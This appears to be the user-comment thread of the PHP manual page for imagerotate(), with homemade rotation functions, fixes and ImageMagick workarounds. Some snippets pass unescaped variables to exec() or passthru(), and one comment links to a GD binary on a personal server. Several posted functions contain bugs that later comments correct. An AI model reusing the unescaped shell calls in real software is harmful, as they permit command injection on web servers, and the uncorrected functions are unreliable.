}

class imagerotateEquivalent {

    static private function rotateX($x, $y, $theta){
        return $x * cos($theta) - $y * sin($theta);
    }

    static private function rotateY($x, $y, $theta){
        return $x * sin($theta) + $y * cos($theta);
    }

    public static function rotate(&$srcImg, $angle, $bgcolor, $ignore_transparent = 0) {

        $srcw = imagesx($srcImg);
        $srch = imagesy($srcImg);

        if($angle == 0) return $srcImg;

        // Convert the angle to radians
        $theta = deg2rad ($angle);

        // Calculate the width of the destination image.
        $temp = array (    self::rotateX(0,     0, 0-$theta),
                        self::rotateX($srcw, 0, 0-$theta),
                        self::rotateX(0,     $srch, 0-$theta),
                        self::rotateX($srcw, $srch, 0-$theta)
                    );
        $minX = floor(min($temp));
        $maxX = ceil(max($temp));
        $width = $maxX - $minX;

        // Calculate the height of the destination image.
        $temp = array (    self::rotateY(0,     0, 0-$theta),
                        self::rotateY($srcw, 0, 0-$theta),
                        self::rotateY(0,     $srch, 0-$theta),
                        self::rotateY($srcw, $srch, 0-$theta)
                    );
        $minY = floor(min($temp));
        $maxY = ceil(max($temp));
        $height = $maxY - $minY;

        $destimg = imagecreatetruecolor($width, $height);
        imagefill($destimg, 0, 0, imagecolorallocate($destimg, 0,255, 0));

        // sets all pixels in the new image
        for($x=$minX;$x<$maxX;$x++) {
            for($y=$minY;$y<$maxY;$y++)
            {
                // fetch corresponding pixel from the source image
                $srcX = round(self::rotateX($x, $y, $theta));
                $srcY = round(self::rotateY($x, $y, $theta));
                if($srcX >= 0 && $srcX < $srcw && $srcY >= 0 && $srcY < $srch)
                {
                    $color = imagecolorat($srcImg, $srcX, $srcY );
                }
                else
                {
                    $color = $bgcolor;
                }
                imagesetpixel($destimg, $x-$minX, $y-$minY, $color);
            }
        }
        return $destimg;
    }
}

?>
anon at here dot com 13-Jun-2009 10:00
I was quite surprised to see that no one had done any working rotate function. And since I needed one for my web hotel, I whipped this one up. Someone might want to expand it so that it matches imagerotate.

Also, does imagerotate really rotate things counter clockwise? Otherwise this should also be changed.

<?php
if(!function_exists("imagerotate")) {
    function imagerotate(&$srcImg, $angle, $bgcolor, $ignore_transparent = 0) {
        return imagerotateEquivalent(&$srcImg, $angle, $bgcolor, $ignore_transparent);
    }
}

/*
    Unfinished imagerotate replacement. ignore_transparent is, well, ignored. :)
    Also, should have some standard functions for 90, 180 and 270 degrees, since they are quite
    easy to implement faster.
*/
function imagerotateEquivalent(&$srcImg, $angle, $bgcolor, $ignore_transparent = 0)
{
    function rotateX($x, $y, $theta){
        return $x * cos($theta) - $y * sin($theta);
    }
    function rotateY($x, $y, $theta){
        return $x * sin($theta) + $y * cos($theta);
    }

    $srcw = imagesx($srcImg);
    $srch = imagesy($srcImg);

    if($angle == 0) return $srcImg;

    // Convert the angle to radians
    $theta = deg2rad ($angle);

    // Calculate the width of the destination image.
    $temp = array (    rotateX(0,     0, 0-$theta),
                    rotateX($srcw, 0, 0-$theta),
                    rotateX(0,     $srch, 0-$theta),
                    rotateX($srcw, $srch, 0-$theta)
                );
    $minX = floor(min($temp));
    $maxX = ceil(max($temp));
    $width = $maxX - $minX;

    // Calculate the height of the destination image.
    $temp = array (    rotateY(0,     0, 0-$theta),
                    rotateY($srcw, 0, 0-$theta),
                    rotateY(0,     $srch, 0-$theta),
                    rotateY($srcw, $srch, 0-$theta)
                );
    $minY = floor(min($temp));
    $maxY = ceil(max($temp));
    $height = $maxY - $minY;

    $destimg = imagecreatetruecolor($width, $height);
    imagefill($destimg, 0, 0, imagecolorallocate($destimg, 0,255, 0));

    // sets all pixels in the new image
    for($x=$minX;$x<$maxX;$x++) {
        for($y=$minY;$y<$maxY;$y++)
        {
            // fetch corresponding pixel from the source image
            $srcX = round(rotateX($x, $y, $theta));
            $srcY = round(rotateY($x, $y, $theta));
            if($srcX >= 0 && $srcX < $srcw && $srcY >= 0 && $srcY < $srch)
            {
                $color = imagecolorat($srcImg, $srcX, $srcY );
            }
            else
            {
                $color = $bgcolor;
            }
            imagesetpixel($destimg, $x-$minX, $y-$minY, $color);
        }
    }

    return $destimg;
}
?>
dave dot richards at gmail dot com 17-Apr-2009 01:47
There is a slight mistake in the previous post by Kae Cyphet.

When setting the pixels of the new image the co-ordinates have to occasionally use the width ($wid) and height ($hei). These values must be reduced by 1 as the co-ordinates start at 0 (Not 1) so they only go up to $wid - 1 and $hei - 1 (Not $wid and $hei).

Here's an example of the first function to show this:

<?php
function rotate_right90($im)
{
 $wid = imagesx($im);
 $hei = imagesy($im);
 $im2 = imagecreatetruecolor($hei,$wid);

 for($i = 0;$i < $wid; $i++)
 {
  for($j = 0;$j < $hei; $j++)
  {
   $ref = imagecolorat($im,$i,$j);
   imagesetpixel($im2,($hei - 1) - $j,$i,$ref);
  }
 }
 return $im2;
}
?>

Other than that very useful functions!
Kae Cyphet 23-Jan-2009 10:50
To solve that annoying problem of having to install a pre-compiled version of GD just to get imagerotate working.

here is an open source solution.
uses the standard stuff included in php when you uncomment 'extension=php_gd2.dll' in the php.ini file and there ya go!

Useage:
<?php
$im = imagecreatefromjpeg('test.jpg');

header('Content-type: image/jpg');
imagejpeg(rotate_right90($im));

imagedestroy($im);
?>

'=================================

<?php
function rotate_right90($im)
{
 $wid = imagesx($im);
 $hei = imagesy($im);
 $im2 = imagecreatetruecolor($hei,$wid);

 for($i = 0;$i < $wid; $i++)
 {
  for($j = 0;$j < $hei; $j++)
  {
   $ref = imagecolorat($im,$i,$j);
   imagesetpixel($im2,$hei - $j,$i,$ref);
  }
 }
 return $im2;
}

function rotate_left90($im)
{
 $wid = imagesx($im);
 $hei = imagesy($im);
 $im2 = imagecreatetruecolor($hei,$wid);

 for($i = 0;$i < $wid; $i++)
 {
  for($j = 0;$j < $hei; $j++)
  {
   $ref = imagecolorat($im,$i,$j);
   imagesetpixel($im2,$j, $wid - $i,$ref);
  }
 }
 return $im2;
}

function mirror($im)
{
 $wid = imagesx($im);
 $hei = imagesy($im);
 $im2 = imagecreatetruecolor($wid,$hei);

 for($i = 0;$i < $wid; $i++)
 {
  for($j = 0;$j < $hei; $j++)
  {
   $ref = imagecolorat($im,$i,$j);
   imagesetpixel($im2,$wid - $i,$j,$ref);
  }
 }
 return $im2;
}

function flip($im)
{
 $wid = imagesx($im);
 $hei = imagesy($im);
 $im2 = imagecreatetruecolor($wid,$hei);

 for($i = 0;$i < $wid; $i++)
 {
  for($j = 0;$j < $hei; $j++)
  {
   $ref = imagecolorat($im,$i,$j);
   imagesetpixel($im2,$i,$hei - $j,$ref);
  }
 }
 return $im2;
}
?>
joseluis at pellicer dot org 02-Dec-2008 05:14
About that rotating function by david at horizon-nigh not working, I found the bug.
I noticed that the x1 and y1 where not used, so, in the loop through every pixel and transform it, change

$x2 = $x * cos($theta) - $y * sin($theta);
$y2 = $x * sin($theta) + $y * cos($theta);

to:

$x2 = $x1 * cos($theta) - $y1 * sin($theta);
$y2 = $x1 * sin($theta) + $y1 * cos($theta);
fernando_empresarial at ig dot com dot br 13-Nov-2008 01:52
<?php
$urlImage = "images/image.png";
$urlNewImage = "images/imageNew.png";

$src_img = imagecreatefrompng($urlImage);
$originalX = imagesx($src_img);
$originalY = imagesy($src_img);
$dst_img = imagecreatetruecolor(640,480);

$imageRotate = imagerotate($src_img,20,-1);

imagepng($imageRotate,$urlNewImage);
imagedestroy($dst_img);
imagedestroy($src_img);
?>
foi02 at cartefoi dot net 02-Oct-2008 04:50
For those who are looking for the GD library for Ubuntu, I let a copy on my server:  http://www.cartefoi.net/compl_compl_2.php
It was pretty hard to find, somebody gaveme his. Thanks a lot to him (message up).
Bert Vandeghinste 20-Sep-2008 04:17
I'm now using david's code with these changes to get a transparent effect.

I exec convert 2 times:

<?php
exec( $imagick . ' -background \'#555555\' -rotate ' . $angle . ' ' . $file1 . ' ' . $file2 );
exec( $imagick . ' -transparent \'#555555\' -transparent-color \'#555555\' ' . $file2 . ' ' . $file3 );
?>

and then use this after I rotated $output:
<?php imagecolortransparent($output, imagecolorallocatealpha($output, 85, 85, 85, 127)); ?>
david at horizon-nigh dot org 12-Sep-2008 06:06
I couldn't get the replacements from 'the dot thawk' or 'pilot' to work for some reason, so here's my own replacement. It uses ImageMagick; binary must be installed, and you may need to modify the search path. (I didn't use PHP's ImageMagick support for my own reasons.)

<?php
    /**
     * imagerotate()
     * Debian php5-gd packages do not include imagerotate() due to some convoluted reason.
     *
     * @param int $angle - same as PHP builtin function
     * @param $bgd_color - not implemented, apparently always #FFFFFF
     *
     * @return same as PHP builtin function
     */
    if ( !function_exists( 'imagerotate' ) ) {

        function imagerotate( $source_image, $angle, $bgd_color ) {

            $angle = 360-$angle; // GD rotates CCW, imagick rotates CW

            foreach ( array( '/usr/bin', '/usr/local/bin', '/opt/local/bin', '/sw/bin' ) as $path ) {

                if ( file_exists( $path . '/convert' ) ) {
                    $imagick = $path . '/convert';
                    if ( $path == '/opt/local/bin' ) {
                        $imagick = 'DYLD_LIBRARY_PATH="" ' . $imagick; // some kind of conflict with MacPorts and MAMP
                    }
                    break;
                }

            }

            if ( !isset( $imagick ) ) {

                //trigger_error( 'imagerotate(): could not find imagemagick binary, original image returned', E_USER_WARNING );
                return $source_image;

            }

            $file1 = '/tmp/imagick_' . rand( 10000,99999 ) . '.png';
            $file2 = '/tmp/imagick_' . rand( 10000,99999 ) . '.png';

            if ( @imagepng( $source_image, $file1 ) ) {

                exec( $imagick . ' -rotate ' . $angle . ' ' . $file1 . ' ' . $file2 );

                if ( file_exists( $file2 ) ) {

                    $new_image = imagecreatefrompng( $file2 );
                    unlink( $file1 );
                    unlink( $file2 );
                    return $new_image;

                } else {

                    //trigger_error( 'imagerotate(): imagemagick conversion failed, original image returned', E_USER_WARNING );
                    return $source_image;

                }

            } else {

                //trigger_error( 'imagerotate(): could not write to ' . $file1 . ', original image returned', E_USER_WARNING );
                return $source_image;

            }

        }

    }
?>
AJenbo 26-Aug-2008 10:45
I modified cbl25's function to allow it to rotate an image either clock wise or counter clock wise.

<?php
function rotateImage($image, $direction) {
    $direction = strtolower($direction);
    $degrees = $direction == 'cw' ? 270 : ($direction == 'ccw' ? 90 : NULL);
    if(!$degrees)
        return $image;
    $width = imagesx($image);
    $height = imagesy($image);
    $side = $width > $height ? $width : $height;
    $imageSquare = imagecreatetruecolor($side, $side);
    imagecopy($imageSquare, $image, 0, 0, 0, 0, $width, $height);
    imagedestroy($image);
    $imageSquare = imagerotate($imageSquare, $degrees, 0, -1);
    $image = imagecreatetruecolor($height, $width);
    $x = $degrees == 90 ? 0 : ($height > $width ? 0 : ($side - $height));
    $y = $degrees == 270 ? 0 : ($height < $width ? 0 : ($side - $width));
    imagecopy($image, $imageSquare, 0, 0, $x, $y, $height, $width);
    imagedestroy($imageSquare);
    return $image;
}

//Usage
$image = rotateImage($image, 'cw');
$image = rotateImage($image, 'ccw');
?>
cbl25 19-Aug-2008 04:29
Here is a simple function to rotate a non-square image 90 degrees clockwise.

<?php
function rotateImage($imageResource)
{
    $width = imagesx($imageResource);
    $height = imagesy($imageResource);
    $side = $width > $height ? $width : $height;
    $squareImage = imagecreatetruecolor($side, $side);
    imagecopy($squareImage,$imageResource,0,0,0,0,$width,$height);
    $squareImage = imagerotate($squareImage,270,0,-1);
    $imageResource = imagecreatetruecolor($height, $width);
    $x = $height > $width ? 0 : $side - $height;
    imagecopy($imageResource,$squareImage,0,0,$x,0,$height,$width);
    return $imageResource;
}
?>
the dot thawk+phpnet at gmail dot com 16-Jul-2008 05:44
In response to pilot at myupb dot com on 31-May-2008 02:23
---

I am not sure why you would be defining your own PI, instead of using the built-in constant, and why you do the degrees to radian conversion manually. There might be a speed issue, however here is the exact same code with that small difference.

<?php
if(!function_exists("imagerotate")) {
    function imagerotate(&$srcImg, $angle, $transparentColor = null) {
        $srcw = imagesx($srcImg);
        $srch = imagesy($srcImg);

        if($angle == 0) return $srcImg;

        // Convert the angle to radians
        $theta = deg2rad ($angle);

        // Get the origin (center) of the image
        $originx = $srcw / 2;
        $originy = $srch / 2;

        // The pixels array for the new image
        $pixels = array();
        $minx = 0;
        $maxx = 0;
        $miny = 0;
        $maxy = 0;
        $dstw = 0;
        $dsth = 0;

        // Loop through every pixel and transform it
        for($x=0;$x<$srcw;$x++) {
            for($y=0;$y<$srch;$y++) {
                list($x1, $y1) = translateCoordinate($originx, $originy, $x, $y, false);

                $x2 = $x * cos($theta) - $y * sin($theta);
                $y2 = $x * sin($theta) + $y * cos($theta);

                // Store the pixel color
                $pixels[] = array($x2, $y2, imagecolorat($srcImg, $x, $y));

                // Check our boundaries
                if($x2 > $maxx) $maxx = $x2;
                if($x2 < $minx) $minx = $x2;
                if($y2 > $maxy) $maxy = $y2;
                if($y2 < $miny) $miny = $y2;
            }
        }

        // Determine the new image size
        $dstw = $maxx - $minx + 1;
        $dsth = $maxy - $miny + 1;

        // Create our new image
        $dstImg = imagecreatetruecolor($dstw, $dsth);

        // Fill the background with our transparent color
        if($transparentColor == null) $transparentColor = imagecolorallocate($dstImg, 1, 2, 3);
        imagecolortransparent($dstImg, $transparentColor);
        imagefilledrectangle($dstImg, 0, 0, $dstw + 1, $dsth + 1, $transparentColor);

        // Get the new origin
        $neworiginx = -$minx;
        $neworiginy = -$miny;

        // Fill in the pixels
        foreach($pixels as $data) {
            list($x, $y, $color) = $data;
            list($newx, $newy) = translateCoordinate($neworiginx, $neworiginy, $x, $y);
            imagesetpixel($dstImg, $newx, $newy, $color);
        }

        return $dstImg;
    }

    /**
     * Translates from mathematical coordinate system to computer coordinate system using
     * origin coordinates from the computer system or visa versa
     *
     * @param int $originx
     * @param int $originy
     * @param int $x
     * @param int $y
     * @param bool $toComp
     * @return array(int $x, int $y)
     */
    function translateCoordinate($originx, $originy, $x, $y, $toComp=true) {
        if($toComp) {
            $newx = $originx + $x;
            $newy = $originy - $y;
        } else {
            $newx = $x - $originx;
            $newy = $originy - $y;
        }

        return array($newx, $newy);
    }
}
?>
pilot at myupb dot com 31-May-2008 02:23
Shortly after posting I was informed about a very nice algorithm for calculating the new pixel position for a rotation and thought it would be a nice improvement. Hopes this helps anyone needing a full implementation.

Note: I tested the function on a 3Mb photo and it seemed to work perfectly with no quality loss.

<?php
if(!function_exists("imagerotate")) {
    function imagerotate(&$srcImg, $angle, $transparentColor = null) {
        $srcw = imagesx($srcImg);
        $srch = imagesy($srcImg);

        if($angle == 0) return $srcImg;

        // Convert the angle to radians
        $pi = 3.141592654;
        $theta = $angle * $pi / 180;

        // Get the origin (center) of the image
        $originx = $srcw / 2;
        $originy = $srch / 2;

        // The pixels array for the new image
        $pixels = array();
        $minx = 0;
        $maxx = 0;
        $miny = 0;
        $maxy = 0;
        $dstw = 0;
        $dsth = 0;

        // Loop through every pixel and transform it
        for($x=0;$x<$srcw;$x++) {
            for($y=0;$y<$srch;$y++) {
                list($x1, $y1) = translateCoordinate($originx, $originy, $x, $y, false);

                $x2 = $x * cos($theta) - $y * sin($theta);
                $y2 = $x * sin($theta) + $y * cos($theta);

                // Store the pixel color
                $pixels[] = array($x2, $y2, imagecolorat($srcImg, $x, $y));

                // Check our boundaries
                if($x2 > $maxx) $maxx = $x2;
                if($x2 < $minx) $minx = $x2;
                if($y2 > $maxy) $maxy = $y2;
                if($y2 < $miny) $miny = $y2;
            }
        }

        // Determine the new image size
        $dstw = $maxx - $minx + 1;
        $dsth = $maxy - $miny + 1;

        // Create our new image
        $dstImg = imagecreatetruecolor($dstw, $dsth);

        // Fill the background with our transparent color
        if($transparentColor == null) $transparentColor = imagecolorallocate($dstImg, 1, 2, 3);
        imagecolortransparent($dstImg, $transparentColor);
        imagefilledrectangle($dstImg, 0, 0, $dstw + 1, $dsth + 1, $transparentColor);

        // Get the new origin
        $neworiginx = -$minx;
        $neworiginy = -$miny;

        // Fill in the pixels
        foreach($pixels as $data) {
            list($x, $y, $color) = $data;
            list($newx, $newy) = translateCoordinate($neworiginx, $neworiginy, $x, $y);
            imagesetpixel($dstImg, $newx, $newy, $color);
        }

        return $dstImg;
    }

    /**
     * Translates from mathematical coordinate system to computer coordinate system using
     * origin coordinates from the computer system or visa versa
     *
     * @param int $originx
     * @param int $originy
     * @param int $x
     * @param int $y
     * @param bool $toComp
     * @return array(int $x, int $y)
     */
    function translateCoordinate($originx, $originy, $x, $y, $toComp=true) {
        if($toComp) {
            $newx = $originx + $x;
            $newy = $originy - $y;
        } else {
            $newx = $x - $originx;
            $newy = $originy - $y;
        }

        return array($newx, $newy);
    }
}
?>
pilot at myupb dot com 30-May-2008 04:33
Thanks to the people who contributed the code for the 90 180 and 270 rotations. I needed a full implementation however so I wrote one. By no mean do I think this is the best way of doing it, I just whipped this together for myself. Seems to work good for me.

Note: I didn't want the image to be shrunk when rotating so this implementation will keep the size of the original image but just rotate it.

<?php
if(!function_exists("imagerotate")) {
    function imagerotate(&$srcImg, $angle, $transparentColor = null) {
        $srcw = imagesx($srcImg);
        $srch = imagesy($srcImg);

        if($angle == 0) return $srcImg;

        // Convert the angle to radians
        $pi = 3.141592654;
        $theta = $angle * $pi / 180;

        // Get the origin (center) of the image
        $originx = $srcw / 2;
        $originy = $srch / 2;

        // The pixels array for the new image
        $pixels = array();
        $minx = 0;
        $maxx = 0;
        $miny = 0;
        $maxy = 0;
        $dstw = 0;
        $dsth = 0;

        // Loop through every pixel and transform it
        for($x=0;$x<$srcw;$x++) {
            for($y=0;$y<$srch;$y++) {
                list($x1, $y1) = translateCoordinate($originx, $originy, $x, $y, false);

                $theta1 = 0;
                $noTranslate = false;

                // Determine the angle of original point
                if($x1 > 0 && $y1 > 0) {
                    // Quadrant 1
                    $theta1 = atan($y1/$x1);
                } elseif($x1 < 0 && $y1 > 0) {
                    // Quadrant 2
                    $theta1 = $pi - atan($y1/abs($x1));
                } elseif($x1 < 0 && $y1 < 0) {
                    // Quadrant 3
                    $theta1 = $pi + atan($y1/$x1);
                } elseif($x1 > 0 && $y1 < 0) {
                    // Quadrant 4
                    $theta1 = 2 * $pi - atan(abs($y1)/$x1);
                } elseif($x1 == 0 && $y1 > 0) {
                    $theta1 = $pi / 2;
                } elseif($x1 == 0 && $y1 < 0) {
                    $theta1 = 3 * $pi / 2;
                } elseif($x1 > 0 && $y1 == 0) {
                    $theta1 = 0;
                } elseif($x1 < 0 && $y1 == 0) {
                    $theta1 = $pi;
                } else {
                    // Only case left should be $x1 == 0 && $y1 == 0
                    $noTranslate = true;
                }

                // Translate the position
                if(!$noTranslate) {
                    // Calculate the new angle
                    $theta2 = $theta1 + $theta;

                    // Make sure theta2 is in between 0 - 2pi
                    while($theta2 < 0) $theta2 += 2 * $pi;
                    while($theta2 > (2 * $pi)) $theta2 -= 2 * $pi;

                    $radius = sqrt($x1*$x1 + $y1*$y1);

                    $x2 = ($radius * cos($theta2));
                    $y2 = ($radius * sin($theta2));
                } else {
                    $x2 = $x1;
                    $y2 = $y1;
                }

                // Store the pixel color
                $pixels[] = array($x2, $y2, imagecolorat($srcImg, $x, $y));

                // Check our boundaries
                if($x2 > $maxx) $maxx = $x2;
                if($x2 < $minx) $minx = $x2;
                if($y2 > $maxy) $maxy = $y2;
                if($y2 < $miny) $miny = $y2;
            }
        }

        // Determine the new image size
        $dstw = $maxx - $minx + 1;
        $dsth = $maxy - $miny + 1;

        // Create our new image
        $dstImg = imagecreatetruecolor($dstw, $dsth);

        // Fill the background with our transparent color
        if($transparentColor == null) $transparentColor = imagecolorallocate($dstImg, 1, 2, 3);
        imagecolortransparent($dstImg, $transparentColor);
        imagefilledrectangle($dstImg, 0, 0, $dstw + 1, $dsth + 1, $transparentColor);

        // Get the new origin
        $neworiginx = -$minx;
        $neworiginy = -$miny;

        // Fill in the pixels
        foreach($pixels as $data) {
            list($x, $y, $color) = $data;
            list($newx, $newy) = translateCoordinate($neworiginx, $neworiginy, $x, $y);
            imagesetpixel($dstImg, $newx, $newy, $color);
        }

        return $dstImg;
    }

    /**
     * Translates from mathematical coordinate system to computer coordinate system using
     * origin coordinates from the computer system or visa versa
     *
     * @param int $originx
     * @param int $originy
     * @param int $x
     * @param int $y
     * @param bool $toComp
     * @return array(int $x, int $y)
     */
    function translateCoordinate($originx, $originy, $x, $y, $toComp=true) {
        if($toComp) {
            $newx = $originx + $x;
            $newy = $originy - $y;
        } else {
            $newx = $x - $originx;
            $newy = $originy - $y;
        }

        return array($newx, $newy);
    }
}
?>
achilles 31-Mar-2008 11:02
otimized integration from 23-Feb-2007 04:21
just put it anywhere you like to use imagerotate with 90, 180, 270 degrees.
<?php
if(!function_exists("imagerotate")) {
    function imagerotate($src_img, $angle) {
        $src_x = imagesx($src_img);
        $src_y = imagesy($src_img);
        if ($angle == 180) {
            $dest_x = $src_x;
            $dest_y = $src_y; }
        elseif ($src_x <= $src_y) {
            $dest_x = $src_y;
            $dest_y = $src_x; }
        elseif ($src_x >= $src_y) {
            $dest_x = $src_y;
            $dest_y = $src_x; }

        $rotate=imagecreatetruecolor($dest_x,$dest_y);
        imagealphablending($rotate, false);

        switch ($angle) {
            case 270:
                for ($y = 0; $y < ($src_y); $y++) {
                    for ($x = 0; $x < ($src_x); $x++) {
                        $color = imagecolorat($src_img, $x, $y);
                        imagesetpixel($rotate, $dest_x - $y - 1, $x, $color); }}
                break;
            case 90:
                for ($y = 0; $y < ($src_y); $y++) {
                    for ($x = 0; $x < ($src_x); $x++) {
                        $color = imagecolorat($src_img, $x, $y);
                        imagesetpixel($rotate, $y, $dest_y - $x - 1, $color); }}
                break;
            case 180:
                for ($y = 0; $y < ($src_y); $y++) {
                    for ($x = 0; $x < ($src_x); $x++) {
                        $color = imagecolorat($src_img, $x, $y);
                        imagesetpixel($rotate, $dest_x - $x - 1, $dest_y - $y - 1, $color); }}
                break;
            default: $rotate = $src_img; }
        return $rotate; }}
?>
qrgames at NOSPAMTYrushyo dot com 12-Aug-2007 01:06
imagerotate seems to be very fussy about handling transparency when copymerging onto another image. You can use the GD library's other transparency features to cover up the fact imagerotate gets it wrong HOWEVER it will only work if the top-left corner of the image is transparent at all rotations, so make the image a little bigger than it needs to be. This has been tested with png32 but does not work entirely for png8, as a phenomena creates noise around the rotated image.

<?php

$imgImage = imagecreatefrompng("image.png");
$colBlack = imagecolorallocate($imgImage, 0, 0, 0);
$imgImage = imagerotate($imgImage, 360 - $intHeading, 0);
imagefill($imgImage, 0, 0, $colBlack);
imagecolortransparent($imgImage, $colBlack);
imagecopymerge($imgOriginalImage , $imgImage, $intX, $intY, 0, 0, $intHeight, $intWidth, 100);
imagedestroy($imgImage);

?>

Note. $intHeading is in degrees clockwise :)
Thomaschaaf 23-Feb-2007 04:21
<?php
function rotate($degrees)
    {
        if(function_exists("imagerotate"))
            $this->image = imagerotate($this->image, $degrees, 0);
        else
        {
            function imagerotate($src_img, $angle)
            {
                $src_x = imagesx($src_img);
                $src_y = imagesy($src_img);
                if ($angle == 180)
                {
                    $dest_x = $src_x;
                    $dest_y = $src_y;
                }
                elseif ($src_x <= $src_y)
                {
                    $dest_x = $src_y;
                    $dest_y = $src_x;
                }
                elseif ($src_x >= $src_y)
                {
                    $dest_x = $src_y;
                    $dest_y = $src_x;
                }

                $rotate=imagecreatetruecolor($dest_x,$dest_y);
                imagealphablending($rotate, false);

                switch ($angle)
                {
                    case 270:
                        for ($y = 0; $y < ($src_y); $y++)
                        {
                            for ($x = 0; $x < ($src_x); $x++)
                            {
                                $color = imagecolorat($src_img, $x, $y);
                                imagesetpixel($rotate, $dest_x - $y - 1, $x, $color);
                            }
                        }
                        break;
                    case 90:
                        for ($y = 0; $y < ($src_y); $y++)
                        {
                            for ($x = 0; $x < ($src_x); $x++)
                            {
                                $color = imagecolorat($src_img, $x, $y);
                                imagesetpixel($rotate, $y, $dest_y - $x - 1, $color);
                            }
                        }
                        break;
                    case 180:
                        for ($y = 0; $y < ($src_y); $y++)
                        {
                            for ($x = 0; $x < ($src_x); $x++)
                            {
                                $color = imagecolorat($src_img, $x, $y);
                                imagesetpixel($rotate, $dest_x - $x - 1, $dest_y - $y - 1, $color);
                            }
                        }
                        break;
                    default: $rotate = $src_img;
                };
                return $rotate;
            }
            $this->image = imagerotate($this->image, $degrees);
        }
    }
?>
m dot quinton at gmail dot com 14-Sep-2006 06:30
with large file, where imagerotate is missing, you can use, when possible "convert" command from ImageMagick. Here is a sample script.

<?php

error_reporting(E_ALL);

header("Content-type: image/png");

$file = 'images/test/imgp2498.jpg';

image_rotate_with_convert($file, 90);

function image_rotate_with_convert($file, $angle){
    passthru("convert -rotate $angle $file -");
}

?>
simon_nuttall at hotmail dot com 27-Sep-2005 07:06
The following is potentially useful. It extracts the central largest circle of an image into a square of specified size, and optionally rotates it. The rest of the square is made transparent, so useful for drawing over other images. I've named it after binocular effect because on some old TV shows whenever they show someone looking through binoculars the screen shows a big circular image with black edges.

<?php

function image_binocular_effect($src, $bearing, $out_square) {
 // the source image is resampled to fit within the specified square, and rotated clockwise by bearing.
 // the largest circle within the image is retained, the rest made transparent.
 $out = imagecreatetruecolor($out_square, $out_square);
 $width=imagesx($src);
 $height=imagesy($src);
 $square=min($width, $height);
 imagecopyresampled($out, $src, 0, 0, ($width - $square)/2 , ($height - $square)/2, $out_square, $out_square, $square, $square);

 $mask = imagecreatetruecolor($out_square, $out_square);
 $black = ImageColorAllocate ($mask, 0, 0, 0);
 $white = ImageColorAllocate ($mask, 255, 255, 255);
 imagefilledrectangle($mask , 0, 0, $out_square, $out_square, $white);
 $centrexy=$out_square / 2;
 imagefilledellipse($mask, $centrexy, $centrexy, $out_square, $out_square, $black);
 ImageColorTransparent($mask, $black);
 imagecopymerge($out, $mask,  0, 0, 0, 0, $out_square, $out_square, 100);
 if ($bearing != 0) {
  $rotated_img=imagerotate($out , 360-$bearing, $white);
  // take off only the rotated width
  $rotated_map_width = imagesx($rotated_img);
  $rotated_map_height = imagesy($rotated_img);
  imagecopy($out, $rotated_img, 0, 0, ($rotated_map_width - $out_square) / 2, ($rotated_map_height - $out_square) / 2, $out_square, $out_square);
  }
 ImageColorTransparent($out, $white);
 return $out;
}

// Create a sample image to demonstrate the effect, but looks much better on real photos.

$src = imagecreatetruecolor(200, 50);
imagefilledrectangle($src, 0, 0, 200, 50, imagecolorallocate($src, 255, 255, 255));
ImageString($src, 3, 10, 10, "This is a sample image to illustrate the binocular effect", imagecolorallocate($im, 192, 0, 0));
$img=image_binocular_effect($src, 72, 50);
ImagePNG($img,"test.png");

?>
wulff at fyens dot dk 01-Mar-2005 10:22
I liked the rotateImageBicubic function implemented by darren at lucidtone dot com. But it just snipped off the parts of the image that were outside the original image.

I fixed this, even though I admit that my solution is a bit naive. But it might come in handy for somebody.

Also his bicubic implementation was broken on my machine so I left it out, if you need it just copy and paste it from above.

<?php

// $src_img - a GD image resource
// $angle - degrees to rotate clockwise, in degrees
// returns a GD image resource
// USAGE:
// $im = imagecreatefrompng('test.png');
// $im = imagerotate($im, 15);
// header('Content-type: image/png');
// imagepng($im);
function imageRotate($src_img, $angle, $bicubic=false) {

   // convert degrees to radians
   $angle = $angle + 180;
   $angle = deg2rad($angle);

   $src_x = imagesx($src_img);
   $src_y = imagesy($src_img);

   $center_x = floor($src_x/2);
   $center_y = floor($src_y/2);

   $cosangle = cos($angle);
   $sinangle = sin($angle);

   $corners=array(array(0,0), array($src_x,0), array($src_x,$src_y), array(0,$src_y));

   foreach($corners as $key=>$value) {
     $value[0]-=$center_x;        //Translate coords to center for rotation
     $value[1]-=$center_y;
     $temp=array();
     $temp[0]=$value[0]*$cosangle+$value[1]*$sinangle;
     $temp[1]=$value[1]*$cosangle-$value[0]*$sinangle;
     $corners[$key]=$temp;
   }

   $min_x=1000000000000000;
   $max_x=-1000000000000000;
   $min_y=1000000000000000;
   $max_y=-1000000000000000;

   foreach($corners as $key => $value) {
     if($value[0]<$min_x)
       $min_x=$value[0];
     if($value[0]>$max_x)
       $max_x=$value[0];

     if($value[1]<$min_y)
       $min_y=$value[1];
     if($value[1]>$max_y)
       $max_y=$value[1];
   }

   $rotate_width=round($max_x-$min_x);
   $rotate_height=round($max_y-$min_y);

   $rotate=imagecreatetruecolor($rotate_width,$rotate_height);
   imagealphablending($rotate, false);
   imagesavealpha($rotate, true);

   //Reset center to center of our image
   $newcenter_x = ($rotate_width)/2;
   $newcenter_y = ($rotate_height)/2;

   for ($y = 0; $y < ($rotate_height); $y++) {
     for ($x = 0; $x < ($rotate_width); $x++) {
       // rotate...
       $old_x = round((($newcenter_x-$x) * $cosangle + ($newcenter_y-$y) * $sinangle))
         + $center_x;
       $old_y = round((($newcenter_y-$y) * $cosangle - ($newcenter_x-$x) * $sinangle))
         + $center_y;

       if ( $old_x >= 0 && $old_x < $src_x
             && $old_y >= 0 && $old_y < $src_y ) {

           $color = imagecolorat($src_img, $old_x, $old_y);
       } else {
         // this line sets the background colour
         $color = imagecolorallocatealpha($src_img, 255, 255, 255, 127);
       }
       imagesetpixel($rotate, $x, $y, $color);
     }
   }

  return($rotate);
}

?>
Borszczuk 05-Jan-2005 02:21
Here's a function that implements right angle (multiplicity of 90 degs - 90, 180, 270) rotation if you need one but lacks native imagerotate() or you don't want non-square images to be scaled down as with imagerotate(). As you probably noticed it's not self contained function, as 180 rotation is handled by ImageFlip() function to gain the performance. The ImageFlip() function used is published here: http://php.net/imagecopy in the comment of mine placed on  05-Jan-2005 04:30

Please note: that in case of 0 degrees rotation handle to imgSrc is returned which may lead to problems if you imagedestroy() it undonditionaly. To solve that you shall add imagecopy($imgDest, $imgSrc, 0,0, 0,0,$srcX, $srcY)  in proper place which I have intentionally ommited to save memory resources

<?php

// $imgSrc - GD image handle of source image
// $angle - angle of rotation. Needs to be positive integer
// angle shall be 0,90,180,270, but if you give other it
// will be rouned to nearest right angle (i.e. 52->90 degs,
// 96->90 degs)
// returns GD image handle of rotated image.
